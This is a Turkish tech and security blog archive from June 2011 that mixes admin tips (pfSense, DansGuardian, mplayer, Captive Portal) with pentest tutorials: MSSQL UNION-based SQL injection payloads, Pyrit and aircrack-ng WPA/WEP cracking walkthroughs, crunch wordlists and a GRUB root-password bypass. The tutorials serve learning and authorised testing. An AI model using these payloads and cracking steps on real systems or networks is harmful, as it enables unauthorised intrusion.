29 Haziran 2011 Çarşamba

Traceroute Çıktısında Görünmeyen PfSense

pfsense 2.0 RC3 sürümü üzerinden internete çıkıyorsanız traceroute yaptığınızda aradaki pfsense makinenizin traceroute çıktısında görünmemesi gibi garip bir durumla karşılaşabilirsiniz.

Aşağıdaki çıktıda  192.168.1.1 IP adresli pfSense görünmüyor.

harun@gondor:~$ traceroute 8.8.8.8
traceroute to 8.8.8.8 (8.8.8.8), 30 hops max, 60 byte packets
 1  10.0.0.254 (10.0.0.254)  3.032 ms  3.832 ms  7.167 ms
 2  78.173.128.1 (78.173.128.1)  11.236 ms  11.245 ms  11.242 ms
 .....
10  209.85.249.162 (209.85.249.162)  86.819 ms * *
11  google-public-dns-a.google.com (8.8.8.8)  85.062 ms  86.394 ms  68.298 ms


Yukarıdaki çıktıyı ilk gördüğümde ilk önce "nasıl yani?" tepkisini vererek gerçekten pfsense üzerinden geçip geçmediğimi kontrol ettim. Daha sonra ise pfSense üzerinden geçtiğim halde neden cihazın trace çıktısında görünmediğini araştırmaya başladım...

Mesele pfSense'in LAN bacağındaki firewall kuralından kaynaklanıyormuş. Kural "Policy based routing" yaptığı için aradaki pfSense cihazı traceroute çıktısında görünmüyormuş...

"Default allow LAN to any rule" firewall kuralını düzenleyerek "Advanced features" kısmındaki "Gateway" seçeneğini "default" değerne çekmeniz gerekiyor. Böylece araya koymuş olduğunuz pfsense cihazı traceroute çıktınızda aşağıdaki gibi görünecektir.

harun@gondor:~$ traceroute 8.8.8.8
traceroute to 8.8.8.8 (8.8.8.8), 30 hops max, 60 byte packets
 1  192.168.1.1 (192.168.1.1)  2.722 ms  2.432 ms  2.167 ms
 2  10.0.0.254 (10.0.0.254)  3.032 ms  3.832 ms  7.167 ms
 3  78.173.128.1 (78.173.128.1)  11.236 ms  11.245 ms  11.242 ms
 .....
11  209.85.249.162 (209.85.249.162)  86.819 ms * *
12  google-public-dns-a.google.com (8.8.8.8)  85.062 ms  86.394 ms  68.298 ms

MMS Video Download

Webde dolaşırken görüp beğendiğiniz ama nasıl indirsem diye düşündüğünüz mms:// videoları için mplayer güzel bir çözüm. Tek yapmanız gereken aşağıdaki gibi bir komut vermekten ibaret.

harun@gondor:~$ mplayer -dumpstream video_adresi

Yukarıdaki  komutu verdiğinizde mplayer videoyu ekranda oynatmak yerine stream.dump adıyla bir dosyaya yazacaktır. Bir yandan indirip bir yandan izlemek isterseniz aşağıdaki gibi bir komutla ikinci bir mplayer çalıştırabilirsiniz...

harun@gondor:~$ harun@gondor:~$ mplayer stream.dump

Mplayer yazılımını dağıtımınızn paket deposundan veya http://www.mplayerhq.hu adresinden mplayer indirerek kurabilirsiniz...

Önemli Not: Bu özelliği kullanırken telif haklarını ihlal etmediğinizden emin olun :)

Captive Portal Ek Özellikler

PfSense üzerinde gelen Captive Portal özelliği hot spot çözümü olarak kullanılabilecek güzel bir özelliktir. Captive Portal, kablosuz ağınıza dahil olan kullanıcıların tüm internet erişimlerini engeller ve web sayfalarına erişmek isteyen kullanıcılara bir karşılama ekranı getirerek oturum açmalarını ister.

İnternete erişmek isteyen kullanıcı, kendisine ait kullanıcı adı ve parolası ile oturum açarak internet erişimi sağlayabilir. Bu nedenler kafeler, oteller ve benzeri yerler ile misafirlerini kendi yerel ağlarına bağlamak istemeyen şirketler için oldukça güzel bir çözümdür. Ancak hali hazırda var olan özellikleriyle Captive Portal yeterince kullanışlı değildir.

Bu nedenle  PfSense üzerinde bir şeyler yazmam ve sistemi modifiye etmem gerekmişti. Bu çalışma sırasında aşağıdaki özellikler sisteme eklemiştim...
  • Captive Portal da kullanıcı hesapları açabilen ancak sistemin geri kalan ayarlarına ulaşamayan bir sınırlı kullanıcı hesabı.
  • Saat sınırlamalı kullanıcı hesabı açılabilmesi ve süresi dolan kullanıcının oturumunun sonlandırılarak hesabın devre dışı bırakılması.
  • Grup olarak toplu kullanıcı açılması.
  • Kullanıcının bir formdan kayıt olması ve hesap bilgilerinin SMS ile cep telefonuna gönderilmesi.
  • Kullanıcın bir form üzerinden kimlik bilgileriyle kayıt olması ve TC Kimlik Numarasının nvi.gov.tr den kontrol edildikten sonra hesabın otomatik olarak açılması.
  • SMS ve TC Kimlik no ile kimlik doğrulamanın birlikte kullanılması.
  • Kullanıcıların parola değiştirebilmesi ve ilk oturum açışlarında parola değiştirmeye zorlanması.
  • Parolamı Unuttum seçeneği ile parola sıfırlama ve yeni parolanın SMS ile cep telefonuna gönderilmesi.
  • Üçüncü parti yazılımların Captive Portal üzerinde kullanıcı hesabı açıp kapatabilmeleri için bir API.
  • Multiwan ağlarda kullanıcının hangi WAN üzerinden çıkacağının seçilebilmesi.
  • Ttarih, kullanıcı adı, ip, mac gibi bilgilerin olduğu özelleştirilmiş log tutma sistemi.
Karşılama Ekranı

Misafirleri yukarıdakine benzer bir karşılama ekranı karşılar. Kullanıcı "SMS ile Kayıt Ol" seçeneğini seçtiğinde karşısına SMS kayıt formu gelecektir. Bu ekrandaki butonlar parametrik olup yönetim arayüzünden yapılan ayarlara göre otomatik olarak görünür veya kaybolurlar.

SMS Kayıt Formu

Bu form doldurulduğunda; kimlik bilgileri nvi.gov.tr (Nüfus ve Vatandaşlık İşleri Genel Müdürlüğü) adresinden kontrol edilir ve bilgiler doğru ise bir kullanıcı hesabı yaratılır ve bu hesabın parolası SMS ile kullanıcının cep telefonuna gönderilir. Kimlik doğrulama özelliği istenirse kapatılabilir.


SMS Ayarları



Yönetim arayüzünden SMS ayarları kolaylıkla yapılabilir. Burada SMS modülünün açık veya kapalı olacağı, SMS ile kullanıcı kaydı sırasında kimlik bilgilerinin doğrulanıp doğrulanmayacağı, SMS göndermede kullanılacak servis sağlayıcı bilgileri, SMS olarak gidecek metin, üretilecek parolanın uzunluğu ve karmaşıklığı ve SMS ile açılan hesaplar için ön tanımlı zaman sınırı buradan ayarlanabilir.

Parola Sıfırlama
Bu özellik Kimlik bilgileri doğrulama ve SMS modülü ile birlikte çalışır. Kullanıcı, parola sıfırlama formunu doldurduğunda, yeni parolası sistemde kayıtlı olan cep telefonuna SMS olarak gönderilir. Bu özellik yönetim arayüzünden açılıp kapatılabilir.

 Çevrim İçi Kayıt Formu


Kullanıcı kayıt işleminin otomatize edilmesini istediğiniz durumlar için "Çevrim İçi  Kayıt Formu" yönetim arayüzünden aktif edileblir.

Kullanıcı bilgileri nvi.gov.tr adresinden doğrulanarak kullanıcı hesabı oluşturulur. İstenirse kimlik doğrulama özelliği kapatılabilir.


Captive Portal İçin Kısıtlı Kullanıcı
Captive Portal için kullanıcı hesabı açıp kapatacak ancak sistemin diğer ayarlarına müdahale edemeyecek bir kullanıcı hesabı oluşturulmuştur. Böylece misafirlerinize hesap açacak personelin diğer ayarları değiştirme ihtimali ortadan kaldırılmıştır.

Kullanıcı Grubu Eklemek
Otel ve benzeri yerlerde gelen kafileler için otomatize edilmiş şekilde kullanıcı hesabı açılabilir. Yönetim arayüzünden grubun adını, gruptaki kişi sayısını ve süreyi seçmek yeterlidir. Çok sayıda kullanıcı hesabı otomatik olarak üretilir. Süresi dolan gruplar ve gruba üye hesaplar otomatik olarak silinir.



Zaman Sınırlı Kullanıcılar
Standart olarak kullanıcı hesaplar günlük olarak açılabiliyordu. Biraz kodlarla uğraştıktan sonra, kullanıcı hesapları gün, saat, dakika, sn gibi zaman sınırları olmaksızın açılabilir hale geldi.



Biraz uğraşırsanız özgür yazılımların size pek çok nimet sunduğunu ama bu nimetlerin her zaman hazır olarak önünüze konmayacağını hatırlamak gerekiyor.

Özetle; elleriniz kirletmekten korkmuyorsanız pek çok şeyi yapmanız mümkün olabilir...

28 Haziran 2011 Salı

FreeBSD Dansguardian Kurulumu

FreeBSD 8 üzerinde dansguardian kurulumu yapmak için ilk olarak pcre paketini kuralım.

pkg_add -rv pcre
#Fetching ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-8.1-release/Latest/pcre.tbz

Ardından pkg-config paketini kuralım.
pkg_add -rv pkg-config
#Fetching ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-8.1-release/Latest/pkg-config.tbz...Waiting for final status

Şimdi dansguardian indirelim...
fetch http://dansguardian.org/downloads/2/Stable/dansguardian-2.10.1.1.tar.gz

İndirdiğimiz dosyayı distfiles a kopyalalım. Dansguardian ticari olduğu için port aracı, kendisi indirmiyor. İndirme işlemini bizim yapmamızı istiyor.

cp /root/dansguardian-2.10.1.1.tar.gz /usr/ports/distfiles/

Dansguardian için port ağacına gidelim...

cd /usr/ports/www/dansguardian

Dansguardian'ı derleyip sisteme kurmak için

make & make install

Port ağacından derleyip dansguradian paketi oluşturmak için ise

make package 

SQL Enjeksiyonunda Kayıt İlerletme

Bir pentest çalışması sırasında MSSQL kullanan bir web uygulamasında SQL Enjeksiyonuna sebebiyet verecek bir girdi doğrulama/filtreleme zaafiyet keşfettim. Web uygulaması muhtelif SQL sorgularını çalışıtrabiliyordu.

INFORMATION_SCHEMA.TABLES tablosundan, tablo isimlerini çekmeye çalıştığımda söyle bir sorunla karşılaştım. SQL sunucu WHERE deyimine yanıt vermiyordu.

Bu durumda SQL e biraz takla attırmam ve aşağıdakine benzer şekilde iç içe sorular kullanmam gerekti.

UNION ALL SELECT TOP 1 1,2,3,(select top 1 table_name FROM (select top 1 table_name from INFORMATION_SCHEMA.TABLES order by table_name ASC) sq order by table_name DESC),4,5,6  --
UNION ALL SELECT TOP 1 1,2,3,(select top 1 table_name FROM (select top 2 table_name from INFORMATION_SCHEMA.TABLES order by table_name ASC) sq order by table_name DESC),4,5,6  --

Bu sorgulardan en içteki select deyimi, top X ifadesi ile tablonun başından X kaydıartan artan sıralamada çekiyor. Bunın dışındaki select deyimi ise ilk sorgunun döndürdüğü kayıtlar içerisinden azalan sıralamada en üstteki kaydı çekiyor. Böylece en içteki sorguda top 1, top 2, top 3 gibi değişiklikler yaparak tablo içerisindeki kayıtlarda adım adım ilerleyebiliyoruz.

27 Haziran 2011 Pazartesi

Bir Saldırı Hikayesi

Web sunucularımız üzerinde muhtelif betik dilleriyle yazılmış olan web uygulamaları çalıştırıyoruz. Genellikle çalışan web uygulamalarının iyi niyetli olmasından dolayı web sunucularımız genellikle standar kurulduğu halde kalıyor. Özel bir yapılandırma veya güçlendirme yapmaksızın kullanıcıların sunucularımza dosya yüklemesine ve çalıştırmasına izin veriyoruz. Buradaki önemli soru web sunucularımızda çalışacak olan PHP, ASP, Python gibi betiklerin neler yapabileceği...

19 Haziran 2011 Pazar

Pyrit ile WPA/WPA2 Kırmak İçin Ekran Kartınızı Kullanın

Pyrit WPA/WPA2-PSK parolalarını kırmak için geliştirilmekte olan bir yazılımdır. En önemli özelliği CPU'ya ek olarak Nvdia ve Ati ekran kartlarının grafik işlemcilerini kullanarak parola kırma işlemi yapmasıdır. Özellikle yeni nesil gelişmiş ekran kartlarıyla oldukça iyi performans verebilir.


Pyrit http://code.google.com/p/pyrit/ indirilebilir ve yine aynı adresten ulaşabileceğiniz kurulum belgesiyle kolaylıkla kurulabilir.  Ubuntu 11.04 üzerine kurulum yaparken bir sıkıntı yaşamadım . Bu nedenle kurulum işlemlerini bir kez de ben tekrarlamıyorum. Kurulum belgesini takip edebilirsiniz.

Pyrit kurulumundan sonra, pyrit list_cores komutuyla sisteminizdeki  kullanılabilir işlemcileri listeleyebilirsiniz.

harun@gondor:~$ pyrit list_cores
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

The following cores seem available...
#1:  'CUDA-Device #1 'GeForce 8400M G''
#2:  'CPU-Core (SSE2)'

Yukarıdaki çıktıda görüldüğü gibi benim bilgisayarımda, biri GeForce 8400M GPU, diğeri de SSE2 komut setine sahip normal işlemcim olmak üzere iki işlemcim varmış. Listelenen bu iki işlemci pyrit tarafından kullanılabilir durumda.

Şimdi WPA şifreli olarak yakalanan bir pcap dosyası üzerinde çalışalım ve bu WPA şifresini kırmayı deneyelim. İlk adım olarak analyze parametresi ile yakaladığımız dosyayı analiz edelim.

root@gondor:/home/harun# pyrit -r Seker.pcap analyze

Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'Seker.pcap' (1/1)...
Parsed 5 packets (5 802.11-packets), got 1 AP(s)

#1: AccessPoint 00:a0:c5:98:1f:f9 ('Seker'):
  #1: Station 00:50:56:c0:00:08, 1 handshake(s):
    #1: HMAC_SHA1_AES, good, spread 1

Yukarıkdaki çıktıya göre Seker isimli kablosuz ağ için yakalanmış bir hanshake söz konusu. Bu handshake verisine uyan anahtarı bulmak için bir parola listesindeki tüm parolaları tek tek denememiz gerekiyor.

Bunun için içerisinde 1 ila 8 karakter uzunluğunda rakamlardan oluşan parolaların bulunduğu parola.txt dosyasını kullanacağım. Aşağıdaki gibi bir komutla attack_passthrough parametresini kullanarak parola kırma sürecini başlatalım.

root@gondor:/home/harun# pyrit -r Seker.pcap -i parola.txt -b 00:a0:c5:98:1f:f9 attack_passthrough

Pyrit 0.3.0 (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'Seker.pcap' (1/1)...
587 packets (587 802.11-packets), 1 APs

Tried 4091 PMKs so far; 935 PMKs per second.

The password is '67345698'.  

Pyrit oldukça hızlı bir şekilde deneme yaparak parola listesindeki uygun parolayı bulmayı başardı.

Pyrit kullanmak istediğinizde yaşayabileceğiniz önemli sorunlardan bir tanesi GPU kullanmaya çalışan sürecin durması ve aşağıdaki gibi hata vermesi olabilir.

SystemError: The core 'CUDA-Device #1 'GeForce 8400M G'' has died unexpectedly

Böyle bir durumda Xorg ayarlarında ekran kartı sürücünüzü nvidia dan nv ye çekmeniz işe yarayabilir. En kötü ihtimalle grafik ortamı kapatarak (Ubuntu için gdm servisini durdurarak) pyrit kullanmak olabilir.

18 Haziran 2011 Cumartesi

WEP Neden Kolay Kırılır?

WEP şifreleme yöntemi havada uçuşan ve bizim için önemli olan verilerimizi şifrelemek için 40 bitlik gizli anahtar ve açık olmasına rağmen sürekli değişen 24 bitli IV ( Initialization Vector) değerlerini kullanır. Yani standart olarak WEP, 64 bitlik bir şifreleme sağlamaktadır. Şifreleme için ise RC4 simetrik şifreleme algoritması kullanır...

Genellikle kablosuz ağ cihazı üreticileri, 40 bitlik şifreleme anahtarı yerine 104 bitlik şifreleme anahtarı kullanmayı tercih ederler. Bu durumda WEP, 128 bitlik şifreleme yeteneğine sahip olur...

 WEP türleri ve kullanılan anahtar uzunlukları aşağıdaki tabloda verilmiştir.

TürAnahtar UzunluğuHex Uzunluğu ASCII Uzunluğu
64 Bit40 Bit105
128 Bit 104 Bit2613
256 Bit232 Bit5829

WEP için şifreleme işlemi şu şekilde işlemektedir.
1- Gizli Anahtar + IV
2- Gizli Anahtar + IV toplamı RC4 ile şifrelenir.
3- Elde edilen RC4 çıktısı ile gönderilmek istenen veri XOR işlemine tabi tutulur.

Bu aşamadan sonra veri özgürce havada dolaşmaya başlar. Ancak bu noktada şöyle bir sıkıntı söz konusudur. Bir bilgiyi başka bir bilgi ile art arda iki defa XOR işlemine tabi tuttuğumuzda en baştaki bilgiyi elde ederiz...
A=Göndermek istediğimiz bilgi
B=IV+Gizli Anahtar

A XOR B = Kodlanmış Bilgi
B XOR B = I ( Etkisiz Eleman )
A XOR I = A
A XOR B XOR B = A XOR ( B XOR B ) = A  XOR  I = A
Yani yeteri kadar paket toplamayı başarırsak, sonlu sayıdaki IV numaraları tekrar edeceklerdir. Bu durumda yukarıda bahsi geçen sihirli formülün de uygulanmasıyla kablosuz ağın şifresi hesaplanabilir... Bu nedenle WEP şifresini kırmak için çok sayıda IVs numarası toplamamız gerekmektedir.

Aircrack ile WEP Crack

İlk olarak airmon-ng aracıyla wlan0 kablosuz ağ arayüzünden, dinleme ve paket sokuşturma işlemleri için kullanacağımız mon0 isimli sanal ağ arayüzünü oluşturalım.

airmon-ng start wlan0

Bu komutun ardından ekran çıktısı aşağıdaki gibi olacaktır...



Dinleme ve paket sokuşturma işlemlerini yapacağımız mon0 arayüzü oluştuğuna göre şimdi etrafımızdak kablosuz ağları tespit edelim. Bunun için airodum-ng aracını aşağıdaki gibi kullanabiliriz.

airdump-ng mon0


airodump-ng yukarıkdakine benzer şekilde çevrenizdeki kablosuz ağları listeleyecektir. Benim örneğimde yalnızca evde kullandığım kablosuz ağım yer alıyor. Dolayısıyla hedefdeki kablosuz ağ Seker isimli WEP şifreli kablosuz olacak...

Hedef ağı tespit ettikten sonra Ctrl+C tuş kombinasyonuyla airodump-ng aracını durduralım ve daha sonra yalnızca hedef ağı dinleyecek şekilde tekrar başlatalım.

airodump-ng -c 6 --bssid 00:a0:c5:98:1f:f9 -w Seker mon0

Bu komut -c parametresi ile 6. kanalı, --bssid parametresi ile MAC adresi verilen kablosuz ağ noktasını dinleyecek ve -w parametresi ile belirtilen Seker dosyasına yakalanan paketleri kayıt edecektir. Tüm paketleri kayıt etmek istemezseniz --ivs parametresi ile yalnızca ivs verilerini kayıt edebilirisiniz.


Şimdi başka bir konsolda aireplay-ng aracın kullanarak "fake authentication" isteği gönderelim.

aireplay-ng -1 0 -e Seker mon0


Yukarıdaki resimde gördüğünüz gibi "Association successful :-) (AID: 1)" mesajını gördüğümüzde hedef ağda trafik oluşturarak paket toplamamız gerekiyor.

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:a0:c5:98:1f:f9 rausb0

Yukarıdaki komutla interaktif modda dinleme yapacak ve daha sonra yakalanan uygun bir paket hedef ağa gönderilerek paket toplama işlemine devam edilecektir.


Resimde görüldüğü gibi uygun bir paket yakaladığınızda "y" diyerek paketin hedef ağa enjekte edilmesini sağlayabilirsiniz. Bu şekilde yaratılan trafikle IVS verisi toplayabiliriz.


airepla-ng ile hedef ağa gönderdiğimiz paketlerin hedefe ulaşıp ulaşmadıklarını diğer konsolda açık bıraktığımız airodump-ng ile anlayabiliriz. #DATA olarak gösterilen değerin hızla artıyor olduğunu görmelisiniz.

Yeteri kadar paket topladıktan sonra aşağıdaki gibi bir komutla aircrack-ng yazılımızı çalıştırarak WEP şifresini kırmaya çalışalım.

aircrack-ng Seker-01.cap 

Yukarıdaki komutu verdiğimizde, yakalamış olduğumuz paketlerde yer alan IVS değerlerine bakılarak WEP anahtarı hesaplanmaya çalışacaktır. Elinizde yeteri kadar IVS değeri var ise WEP anahtarı hesaplanabilir. Bu hesaplama sonunda aircrack-ng aşağıda görüldüğü gibi hedef ağın WEP anahtarını size taktim edecektir.


Bu aşamadan sonra bulunan anahtar kullanılarak hedef ağa bağlanılabilir...

16 Haziran 2011 Perşembe

Linux Root Password Sıfırlama

Linux makinenizin root parolasın unuttuğunuzda ne olur? Cevap basit büyük sıkıntı olur.

Bu gibi durumlarda makineye fiziksel erişiminiz varsa grub menüsünde küçük bir düzenleme yaparak sistemi açabilir ve root parolasını değiştirebilirsiniz.


Öncelikle sistemi yeniden başlatalım. Yukarıdaki gibi grub menüsü geldiğinde klavyeden "E" tuşuna basarak düzenleme moduna geçelim. Karşımıza aşağıdaki gibi bir menü gelecektir...
 Yukarıdaki menüde işaretlenmiş olan "ro quiet" ifadesini silerek, aşağıda görüldüğü gibi "rw init=/bin/bash" şekline getirelim.
Açılış parametresi olarak "rw init=/bin/bash" değerini eklediğimize göre CTRL+X tuş kombinasyonunu kullanalım ve sistemin açılışını izleyelim. Sistem açıldığında passwd komutu ile root parolamızı değiştirebiliriz.

passwd komutu kullanıcı hesaplarının parolalarını değiştirmek için kullanılan komuttur. "Enter new UNIX password" diyerek sizden yeni parolanızı girmenizi isteyecektir. "Retype new UNIX password" diyerek aynı parolayı ikinci kez yazmanızı ister ve sonrasında "passwd: password updated successfully" mesajını gördüğünüzde parolanız değiştirilmiş demektir. Artık sistemi yeniden başlatabilirsiniz...

Olur da aşağıdaki gibi  "Authentication token manipulation error / Password unchanged" hatası alırsanız bu diskin readonly bağlanmış olmasından kaynaklanabilir.

Yukarıda görüldüğü gibi "mount / -o remount,rw" komutunu kullanarak kök dizini okuma yazma yetkileriyle bağlayabilirsiniz. Daha sonra ise passwd komutunu kullanarak parola sıfırlama işlemini yapabilirsiniz...

Yukarıda bahsedilen yöntemlerin işe yarayabilmesi için makineye fiziksel erişim söz konusu olmalı ve grub açılış yöneticisinin düzenlemeye izin veriyor olması gereklidir.

Genellikler grub menüsüne parola koyulmasa da Grub parolası olması durumda sistemi bir live cd ile boot etmek gerekebilir. Tabii sistemi cdrom aygıtından başlatabilmek için de bios erişimi yetkilerine sahip olmanız gerekecektir... :)

13 Haziran 2011 Pazartesi

Crunch ile Wordlist Oluşturmak

Crunch seçilen karakter kümesinden, istenilen uzunlukta parolalar üreten ve bu parolaları bir dosyaya yazarak wordlist oluşturan kullanışlı bir araçtır. Çalışmak için özel bir yetkiye ihtiyaç duymaz. Yalnızca derlenip çalıştırılması yeterlidir. Çalıştığında istenilen karakter kümesinden parolalar üretir ve bir dosyaya yazar.
Oldukça hızlı çalışır ve kolay kullanılır.



Crunch Kurulumu
Öncelikle crunch yazılımını indirelim.
harun@gondor:~$ wget http://garr.dl.sourceforge.net/project/crunch-wordlist/crunch-wordlist/crunch-3.0.1.tgz

İndirme işlemi bittikten sonra crunch-3.0.1.tgz arşivini açalım.

harun@gondor:~$ tar zxvf crunch-3.0.1.tgz 
crunch3.0/
crunch3.0/Makefile
crunch3.0/GPL.TXT
crunch3.0/crunch.1
crunch3.0/charset.lst
crunch3.0/crunch.c
Arşivin açılmasıyla oluşan crunch3.0/ dizinine geçelim ve ardından make komutunu vererek derleme işlemini başlatalım.
harun@gondor:~$ cd crunch3.0/
harun@gondor:~/crunch3.0$ make
Building binary...
/usr/bin/gcc -Wall -lm -pthread -std=c99 -m32 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 crunch.c -o crunch
Kısa bir derleme işleminden sonra crunch yazılımı çalışmaya hazır hale gelecektir. Bu aşamadan sonra istenirse make install komutu ile derlenen yazılım sisteme kurulabilir. make install komutunu verdiğinizde crunch yazılımı, Backtrack dağıtımındaki gibi /pentest/passwords/crunch dizini altına yerleştirilecektir.

Ben sisteme kurulum yapmak yerine derleme yaptığım dizinden çalıştırmayı tercih ediyorum. Bu nedenle make install komutu vermedim.

Genel Kullanım Şekli
./crunch [min uzunluk] [max uzunluk] [karakter seti] -o [dosya adı]
Örneğin 0123456789 karakter setinden 1 ve 4 karakter aralığında parolalar üretmek için crunch aşağıdaki gibi kullanılabilir.
harun@gondor:~/crunch3.0$ ./crunch 1 4 0123456789 -o ornek1.txt
Crunch will now generate the following amount of data: 54320 bytes    0 MB    0 GB
Crunch will now generate the following number of lines: 11110 
Görüldüğü gibi crunch istenilen wordlistin disk üzerinde kaplayacağı boyutu ve kaç satırdan oluşacağı gibi istatistikleri gösteriyor ve daha sonra ise ilgili dosyayı oluşturmaya başlıyor. Dosya boyutu ve oluşturulmas süresinin seçmiş olduğunuz karakter kümesi ve parola uzunluğuna bağlı olduğunu unutmamak gerekiyor. Çok geniş bir aralık tercih ederseniz wordlist oluşturmanız sonsuza kadar sürebilir...

Crunch ile gelen dosyalar arasında yer alan charset.lst dosyası içerisinde ön tanımlı karakter kümeleri yer alıyor. Dilerseniz bu karakter kümelerinden birini seçerek kullanabiliyorsunuz.

charset.lst dosyasından bazı karakter kümeleri;
numeric: [0123456789]
ualpha: [ABCDEFGHIJKLMNOPQRSTUVWXYZ]
lalpha: [abcdefghijklmnopqrstuvwxyz]
ualpha-numeric: [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
lalpha-numeric: [abcdefghijklmnopqrstuvwxyz0123456789]
mixalpha:[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ]
mixalpha-numeric:[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mixalpha-numeric-all-space:[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/ ]
Parola oluştururken kullanmak istediğimiz karakter kümesinin büyük harfler [A-Z], küçük harfler [a-z] ve rakamlardan oluştuğunu [0-9] var sayalım. Bu karakter kümesin charset.lst dosyasında mixalpha-numeric olarak tanımlıdır. mixalpha-numeric kümesinden yalnızca 8 karakter uzunluğunda parolalar oluşturmak için crunch aşağıdaki gibi kullanılabilir.
harun@gondor:~/crunch3.0$ ./crunch 8 8 -f charset.lst mixalpha-numeric -o ornek2.txt
Crunch will now generate the following amount of data: 1965060950264064 bytes    1874028158 MB    1830105 GB
Crunch will now generate the following number of lines: 218340105584896 
Yukarıdaki çıktıya dikkat ederseniz crunch belirttiğimiz özelliklere sahip bir wordlistin 218.340.105.584.896 satırdan oluşacağını ve sabit diskimizde 1.830.105 GB yer tutacağını hesapladı. Bu aşamadan sonra yeterince disk alanınız ve zamanınız var ise crunch yazılımın işini bitirmesini bekleyebilirsiniz...

Biraz Matematik

Parola kırma, wordlist oluşturma gibi işlerle uğraşıyorsanız biraz matematik bilmek oldukça faydalı olacaktır. En azından gücünüzün neye yeteceğini bilip ona göre denemeler yapabilirsiniz. 

Olası tüm parolaların sayısı şu şekilde hesaplanır;
Olası Parola Sayısı = [Karakter Kümesindeki Elaman Sayısı] ^ [Parola Uzunluğu]

Öncelikle parolaların oluşturulacağı karakter kümesinin yalnızca rakamlardan oluştuğunu varsayalım.
Karakter Kümesi = {0,1,2,3,4,5,6,7,8,9}
Görüldüğü gibi karakter kümemiz 10 elamana sahip. Şimdi de parolamızın uzunluğunun 8 karakter olduğunu var sayalım.

Olası Parola Sayısı = 10 ^ 8;
Olası Parola Sayısı = 100.000.000;


Şimdi işin içine İngiliz alfabesindeki küçük harflerin giridğini düşünelim ve karakter kümemize 26 karakter daha eklemiş olalım.

Karakter Kümesi = {0123456789abcdefghijklmnopqrstuvwxyz}

Son durumda karakter kümemiz 10 rakam ve 26 harf olmak üzere toplamda 36 karakterden oluşuyor. 8 karakterli tüm parola olasılıklarını bir kez daha hesaplayalım. Sihirli formülümüz;

Olası Parola Sayısı = [Karakter Kümesindeki Elaman Sayısı] ^ [Parola Uzunluğu]
Olası Parola Sayısı = 36 ^ 8
Olası Parola Sayısı = 2.821.109.907.456


Fikir vermesi açısından şöyle bir örnek vereyim; wpa kırma işlemi sırasında bilgisayarımdaki Intel(R) Core(TM)2 Duo 2.20GHz CPU saniyede iyimser bir ortalamayla 1100 deneme yapıyor. Bu hız ile 2.821.109.907.456 ihtimali denersek 2.564.645.370 sn başka bir deyişle 712.401 saat, 29.683 gün, 81 yıl olarak hesaplayabiliriz. Bu değer saniyede 1100 deneme yapan diz üstü bilgisayarım ve ortalam ömrü 65 yıl olan biz faniler için oldukça uzun bir zaman olacaktır...

Saniyede 750.000 parola denediğimizi var sayarsak işlem 3.761.479 sn sürecektir. Bu ise 1044 saat yani yaklaşık 44 gün demektir. Muhtemelen bu yazıyı okuyan hiç kimsenin bu kadar güçlü bir bilgisayarı olduğunu veya yakın bir gelecekte olacağını pek sanmıyorum sanmıyorum...

Burdan çıkacak sonuç, eğer yeterince kaynağınız ( CPU gücü, Disk Alanı vs ) ve Zamanınız var ise her parolayı kırabilirisiniz demektir.

11 Haziran 2011 Cumartesi

Ubuntu, Aireplay-ng, iwl4965, mon0 Channel -1 Problemi

Yanlış hatırlamıyorsam Ubuntu 10.04 sürümü sonrasında Linux çekirdeği ve kablosuz ağ sürücülerinin değişmesinden dolayı Intel 4965 AGN wireless kartımla aircrack-ng  düzgün çalışmaz hale gelmişti.  Aireplay-ng ile paket sokuşturma saldırısı yapmak istediğinizde aşağıdaki gibi bir hata alıyordunuz.

21:09:28  mon0 is on channel -1, but the AP uses channel 1

Bu hatayı çözmek için yapılması gerekenler yeni sürücüleri gerekli yamalar ile derlemek ve kurmak.
İlk olarak yeni sürücümüzü indirilerim wireless.kernel.org adresinden indirelim ardından da gerekli yamaları indirip sürücü kaynak kodlarına yama yapalım.

    root@gondor:~# wget http://wireless.kernel.org/download/compat-wireless-2.6/compat-wireless-2011-06-01.tar.bz2
    root@gondor:~# wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
    root@gondor:~# wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch
    root@gondor:~# tar jxvf compat-wireless-2011-06-01.tar.bz2
    root@gondor:~# cd compat-wireless-2011-06-01
    root@gondor:~/compat-wireless-2011-06-01# patch -p1 < ../mac80211.compat08082009.wl_frag+ack_v1.patch
    root@gondor:~/compat-wireless-2011-06-01# patch -p1 < ../channel-negative-one-maxim.patch
    root@gondor:~/compat-wireless-2011-06-01# make
    root@gondor:~/compat-wireless-2011-06-01# make install
    root@gondor:~/compat-wireless-2011-06-01# make unload
    root@gondor:~/compat-wireless-2011-06-01# reboot

Bilgisayarınız yeniden başladığında kablosuz ağ sürücünüz düzgün şekilde çalışıyor olmalı. Bu aşamadan sonra airreplay-ng ile yeni sürücümüzün düzgün çalışıp çalışmadığını sınayabiliriz.

    root@gondor:~# airmon-ng start wlan0
    root@gondor:~# aireplay-ng -1 0 -e Seker mon0

Yukarıdaki komut “21:48:23  mon0 is on channel -1, but the AP uses channel 1″ hatasını verirse kanal numarasını elle ayarlamak gerekecektir. Bunun için aşağıdaki gibi bir iwconfig komutu verilebilir.
root@gondor:~# iwconfig mon0 channel 1

    root@gondor:~# aireplay-ng -1 0 -e Seker mon0
    21:51:14 Sending Authentication Request (Open System) [ACK]
    21:51:14 Authentication successful
